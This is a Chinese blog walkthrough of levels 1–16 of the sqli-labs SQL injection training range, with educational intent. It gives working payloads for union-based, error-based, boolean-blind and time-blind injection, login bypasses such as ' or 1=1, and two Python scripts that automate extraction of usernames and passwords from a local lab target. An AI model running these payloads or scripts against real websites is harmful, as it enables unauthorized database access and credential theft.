SQL注入学习——sqli-labs通关（1-16）

于 2024-07-28 08:51:59 发布
阅读量741 收藏 15
点赞数 21
文章标签： sql 学习 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2402_82963715/article/details/140735990
版权

目录

概要

Less--1--字符型注入​​​​​​​

Less--2--数字型注入

Less-3--  ' )的字符型注入

Less--4--")字符型注入

Less--5--字符型的报错回显注入或bool盲注

Less--6--字符型的错误回显注入

Less--7--文件读写注入

Less--8--基于bool的盲注

Less--9-10--基于时间的盲注

Less--11-12--POST方式注入

Less--13--')的报错回显注入

Less--14--" 的报错回显注入

Less--15--bool 型/时间延迟 单引号 POST型盲注

Less--16--post  双引号  括号闭合的布尔盲注

概要

sqli-labs靶场对于学习SQL注入的初学者来说是一个十分友好的靶场，本博客是关于sqli-labs前16题的通关讲解。

Less--1--字符型注入

1. 提示输入数字值的ID作为参数。判断是字符型还是数字型，根据拼接单引号得到的回显，表明这是一个单引号注入。

2. 根据联合查询找出表格的列数。

?id=1' order by 3 --+

直至页面出现报错，证明列数为3。

3.爆出显示位，可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

4.爆出数据库名和版本号。得出数据库名为security，版本号为5.7.26

?id=-1' union select 1, database(),version() --+

5. 爆表名，得到回显表明security数据库下有4个表（emails,referers,uagents,users）

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

6. 爆字段名，

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  1. group_concat(column_name)：这是一个 MySQL 函数，用于将多个行的值连接成一个字符串。在这里，它用于获取某个表的所有列名，并将它们连接成一个单一的字符串。

  2. from information_schema.columns：information_schema 是 MySQL 中的一个系统数据库，其中包含了关于数据库的元数据，包括所有表、列、索引等的信息。columns 是这个数据库中的一个表，它存储了所有表的列信息。

  3. where table_name='users'：通过这个条件，攻击者指定只想获取名为 users 的表的列名

7.获取username和password等敏感信息

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

Less--2--数字型注入

1.和第一关一样先进行判断，当我们输入单引号或者双引号可以看到报错，且报错信息看不到数字，所以我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是大致相同。

?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

重复Less-1的2~7步骤。

Less-3--  ' )的字符型注入

通过观察报错信息得出sql语句是单引号字符型且有括号，所以我们需要闭合单引号。之后步骤相同，但需要考虑括号，对代码进行改动。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

Less--4--")字符型注入

注入个双引号闭合，MySql 报错，说明存在注入漏洞，闭合括号后回显正常，说明为  ")  的字符型漏洞。通过一下代码进行注入。

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

Less--5--字符型的报错回显注入或bool盲注

注入正确的参数，网页返回 “You are in...”，但是没有其他信息，注入个查不到的参数，网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在，如果存在则返回信息。判断是否有 Sql 注入漏洞，注入个单引号进行闭合，网页返回报错信息。这说明网页存在 Sql 注入漏洞，并且是用单引号字符型注入。

判断表有几列，使用order by 语句

?id=1' order by 4--+

通过报错函数来爆破出数据库名

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+

爆版本号

?id=1' and updatexml(1,concat('~',(select version()),'~'),1)--+

爆用户名

?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+

Less--6--字符型的错误回显注入

第六关与第五关几乎相同，只是单引号与双引号的注入不同，前几步注入类似，使用?id=1"注入得到报错可判断为双引号字符型注入。所以将第五关的命令进行尝试即。

爆破数据库名

?id=1" and updatexml(1,concat('~',(select database()),'~'),1)--+

爆破版本信息及用户名

?id=1"  union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

爆破表

?id=1" and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)--+

Less--7--文件读写注入

关于文件读写注入在实战中具有诸多限制，这里不对Less--7作出说明

Less--8--基于bool的盲注

常用函数

database()      显示数据库名称
left(a,b)      从左侧截取a的前b位
substr(a,b,c) 从b位置开始，截取字符串a的c长度
mid(a,b,c)    从位置b开始，截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符
 

本关也可以用时间盲注，报错注入是不行的，因为报错信息被注释了。

使用order by语句判断列数，判断列数为3。

查看数据库版本，这里数据库的版本为 5.6.17，下面的语句是看版本号的第一位是不是 5，如果回显正常，那么说明第一位就是5。

?id=1' and left(version(),1)=5 -++

盲注查看数据库长度，盲注查看数据库的长度，使用length函数盲注，盲注到，长度为 8 时，正确回显，说明长度为 8。

?id=1' and length(database())=7 --+

由于bool注入太繁琐，这里使用python脚本进行简化操作（这里采用网上整理出来的脚本）。

import requests

# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
        r = requests.get(url + '%23')
        if 'You are in' not in r.text:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1'" \
                  "and substr((select group_concat(username) from users),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('username_value:', name)



# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' " \
                  "and substr((select group_concat(password) from users),%d,1)='%s'" % (j, i)
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i
                break
    print('password_value:', name)


if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()

Less--9-10--基于时间的盲注

（以Less-9为例）

判断类型

正常输入

?id=1

回显

You are in...........

错误输入

?id=1'
?id=1"

回显 

 You are in...........

错误输入

?id=9999

回显

 You are in...........

综上所述，三种输入的回显区域显示的内容均 You are in…，因此我们只能使用基于时间的注入方式。 

 判断注入类型

双引号字符型注入

?id=1" and if(1=1, sleep(5), 0)--+

延迟

无延迟

 单引号字符型注入

?id=1' and if(1=1, sleep(5), 0)--+

延迟

 

延迟5s

所以 ，选择单引号字符型注入。

时间盲注

时间盲注与布尔盲注类似，布尔盲注通过观察页面的回显来判断我们构造的判断语句的布尔结果，而时间盲注则通过观察页面回显所耗费的时间来判断我们构造的判断语句的布尔结果。

sleep()
在时间盲注的过程中，我们常常使用 sleep() 函数来进行时间上的控制。MySQL 中的 sleep() 可以将查询暂停指定的秒数，秒数通过传递给 sleep() 函数的参数来指定。

使用python脚本进行简化

import requests
import time


def clock(expr):
    start_time = time.time()
    response = requests.request('get', expr)
    return time.time() - start_time          #代码运行时间函数


def decide():
    left = 0
    right = 9
    while left <= right:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock( f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            return middle
        

def ruler(size):
    left = 0
    right = 9
    i = 1
    length = ''
    while left <= right and i <= size:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            i += 1
            length += str(middle)  
            left = 0
            right = 126
    return int(length)


def process(length):
    left = 32
    right = 126
    i = 1
    result = ''
    while left <= right and i <= length:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            i += 1
            result += str(chr(middle))
            left = 0
            right = 126
            print(result)
    return result
        

if __name__ == '__main__':
    TIME = 5
    size = decide()
    length = ruler(size)
    result = process(length)

Less--10与Less--9的区别仅在于闭合方式的不同，Less--9需要正确的闭合单引号，而Less--10则需要正确的闭合双引号。 

Less--11-12--POST方式注入

（以Less--11为例）

使用burp进行抓包，通过向post报文中添加 “ \ ”，来转义password的闭合符号，使SQL报错。

构造万能语句，使登陆成功。

Less--12与Less--11类似，只是闭合方式不同，Less--12是双引号闭合。

Less--13--')的报错回显注入

根据之前的语句逐步判断，使用单引号闭合，此时网页提示我们登录成功。因此网页存在字符型注入漏洞，并且使用单引号和括号进行闭合。注意到此时网页并没有返回任何信息，我们需要使用 bool 盲注进行注入。

爆数据库名

uname= admin') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))  as admin from information_schema.tables group by admin # &passwd= ') or 1=1 # &submit=Submit

爆数据库版本

uname=admin') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))  as admin from information_schema.tables group by admin # &passwd= ') or 1=1 # &submit=Submit

Less--14--" 的报错回显注入

本关于Less--13类似，只是闭合符号为双引号，重复上关步骤即可。

uname=admin"--+&passwd=123456&submit=Submit

uname=admin" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))  as admin from information_schema.tables group by admin # &passwd=123456 &submit=Submit

Less--15--bool 型/时间延迟 单引号 POST型盲注

使用万能语句1 or 1=1 和 1 or 1=2发现页面正常。输入1'发现并没有报错，输入1"发现也没有报错。这次连闭合报错的信息都没有了，所以不能用报错注入了。这里可以用bool盲注或时间盲注。

接下来使用bool盲注。

1' or 1=1#
1' or 1=2#

 回显显示 1=1时页面successfully，1=2时failed说明是单引号闭合。

猜测数据库长度，发现数据库长度大于7页面登录成功，大于8登录失败，所以数据库长度为8

1' or length(database())>7#

 

 猜测数据库名，发现大于114正常，大于115页面false状态。所以数据库名第一个字符ascii码为115，通过ascii码查询发现是字符’s’。重复此操作8次，确定数据库名为“security”。

1' or ascii(substr(database(),1,1))>114#

 

 

 猜测表名长度，发现第一个数据库表名大于5页面正常，大于6页面false状态。所以数据库表名长度为6.

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

 

 

 

猜测表名，发现第四个表名第一个字符ascii码大于116正常，大于117页面false，得到第四个表名第一个字符ascii码为117，说明是字符’u’
通过substr(表名,1,1)递增标注数字到5，猜出此表名名字为users

1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116#

猜测列名长度，发现第一个列名长度大于1页面正常，大于2页面false，所以第一个列名长2。以此类推递增limit得到所有列名长度。第二个列名长8，第三个列名长8。

1' or (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>1#

猜测列名，回显第二个列名第一个字符大于116正常，大于117页面false。通过substr(列名,1,1) 和limit 0,1不断递增标识数字查出所有列名名字。这里只演示了一个列名。得到username，password列名。

1' or ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116#

猜测数据长度与数据名情况相同，只需改动代码就好。

Less--16--post  双引号  括号闭合的布尔盲注

Less--15是典型的布尔盲注，是 ' 闭合。这一关是 ") 闭合。思路也与15关相同。

唯一不同的就是闭合不同，一个一个尝试就行。一般都是单引号、双引号，或者引号和括号混合。

经过尝试得到payload为

1") or 1=1#
1") or 1=2#

接下来，爆破代码只需在15关的基础上改动即可。 

 

 

 

 

张牧之（Arno）
关注
  • 21
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 14万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
sqli-labs训练平台靶场详解！！！！
ytdd66的博客
03-19 5036
下面选取几个具有代表性的关卡，演示几种 SQL 注入漏洞利用方法。
详细sqli-labs（1-20）通关讲解
最新发布
m0_57928318的博客
05-18 1726
获取数据库名时可以使用 left() 函数，这里使用 substr() 函数截取数据库名的每个字符，然后使用 ASCII() 函数判断这个字符的 ASCII 码值。我们可以看出，GET 方式和post 方式 的区别，GET方式 可以明显的 从 URL 中进行注入，POST可以在数据包中进行修改对应的字段来进行 SQL 注入。获取数据库名时，使用 LEFT() 函数进行穷举法的效率较低，使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。
sqli-labs详解------持续更新
yuqie的博客
06-20 2810
如今已经很少使用手动注入了，写这篇的初心在于掌握并熟记手动注入，
sqli-labs大详解（完结）
hxhxhxhxx的博客
07-28 5万+
sqlilabs详解（不断更新）题目1-10Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)GET - Error based - Intiger based (基于错误的GET整型注入)Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)Less-4 GET - Error based - Double Quotes
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
Jay17的博客
08-03 3万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqlilabs过关手册注入天书，过关sqlliabs的绝佳手册
06-28
Sqli-labs安装需要安装以下环境 apache+mysql+php Sqli-labs安装 将之前下载的源码解压到web目录下，linux的apache为 /var/www/html下，windows下的wamp解压在www目录下。 修改sql-connections/db-creds.inc文件当中...
windows环境下安装sqli-labs
11-04
首先，我们需要下载 sqli-labs 源码，链接为 https://github.com/Audi-1/sqli-labs。然后，我们将源码解压到 web 目录下，在这里是 www 目录下。 数据库配置 接下来，我们需要配置数据库连接。在这里，我们需要...
PHP、Apache环境中部署sqli-labs（SQL注入靶场）
01-08
PHP、Apache 环境中部署 sqli...sqli-labs 是一个非常有用的工具，帮助用户学习和实践 SQL 注入的技术。通过部署 sqli-labs，用户可以在 PHP 和 Apache 环境中实践 SQL 注入的技术，从而提高自己的安全意识和防御能力。
SQL注入之sqli-labs
m0_60716947的博客
04-08 7377
目录 （一）搭建 sqli-labs 靶场 （二）sqli-labs的第一关至第四关笔记 （1）第一关 sqli-labs 是一款基于 sql 注入的游戏教程，有利于更好地了解 sql 注入的语法。 （一）搭建 sqli-labs 靶场 搭建 sqli-labs 靶场前首先要下载 phpstudy phpstudy下载链接：https://www.xp.cn 要保证安装路径中不能有空格和中文。 下载完成后： 可以对 root 数据库进行修改密码或创建数据库，然后在软件管理..
sqli-labs通关详解
m0_52051132的博客
10-15 6912
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单。sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库。条件正确有回显，条件错误没有回显，布尔盲注？py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库。
sqli-labs 通关笔记详解 Less1 - Less10
HAKUNAMATATATTA的博客
12-18 2846
做sqli-labs靶场之前建议补一下基础。
Sqli-labs环境搭建教程（sql注入）
Victor1889的博客
01-06 9362
Sqli-labs环境搭建教程（sql注入）
sqli-labs靶场安装
剁椒鱼头没剁椒的博客
10-22 7001
PhpStudy国内12年老牌公益软件，集安全，高效，功能与一体，已获得全球用户认可安装，运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。Sqlilabs是一个学习sql注入的平台，GET和POST场景包括了许多基本的实验内容，例如：基于错误的注入、盲注、更新查询注入、插入查询注入、Header注入、二次注入、Bypass WAF、堆叠注入等等。
最详细sqli-labs平台前十关讲解
妙蛙种子吃了都会妙妙秒的妙脆角的博客
01-10 3043
最详细sqli-labs平台sql注入语法讲解 文章目录最详细sqli-labs平台sql注入语法讲解一、sql注入的简单介绍二、sqli-labs平台的搭建二、实验1.Less-1(single quotes)2.Less-2(intiger based)3.Less-3(single quotes with twist)4.Less-4(double quotes)5.Less-5 最近也是沉迷于学习sql注入，越是了解越是发现其中的奥妙与乐趣，在这篇文章中主要是以sqli-labs平台为例子，记录一些
SQLi-Labs 安装
SunJ3t的菠萝屋
05-24 6594
1. 前言 我们在刚学习 SQL 注入的时候，往往都需要一个能 SQL 注入的网站进行 SQL 注入学习。如果直接去网上寻找存在 SQL 注入的网站对新手来说有些难度，因此我们一般都是在本地搭建一个能 SQL 注入测试的网站。 这里就来讲解一下 SQLi-Labs 的下载，安装，搭建教程。 注意： PHP 版本一定要设置成 PHP5 以上，PHP7 以下，PHP5 以上才有 information_schema 库，PHP7 之后的 mysql_ 都改成了 mysqli_** 了，所以用其他版本的 PHP
《SQL注入—Sqli-labs注入环境搭建》
weixin_47118413的博客
04-06 8327
本文章讲解如何通过Linux(Centos 7)和Windows部署Sqli-labs环境进行sql注入漏洞相关练习，后期会更新关卡教程。
搭建本地SQL注入靶场：sqli-labs实战教程
"这篇教程将指导你安装sqli-labs，一个用于学习SQL注入的靶场。sqli-labs提供多样且最新的SQL漏洞环境，同时允许用户修改和审计源码，是网络安全初学者的理想实践平台。为了安全起见，推荐在本地环境而非公网服务器...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值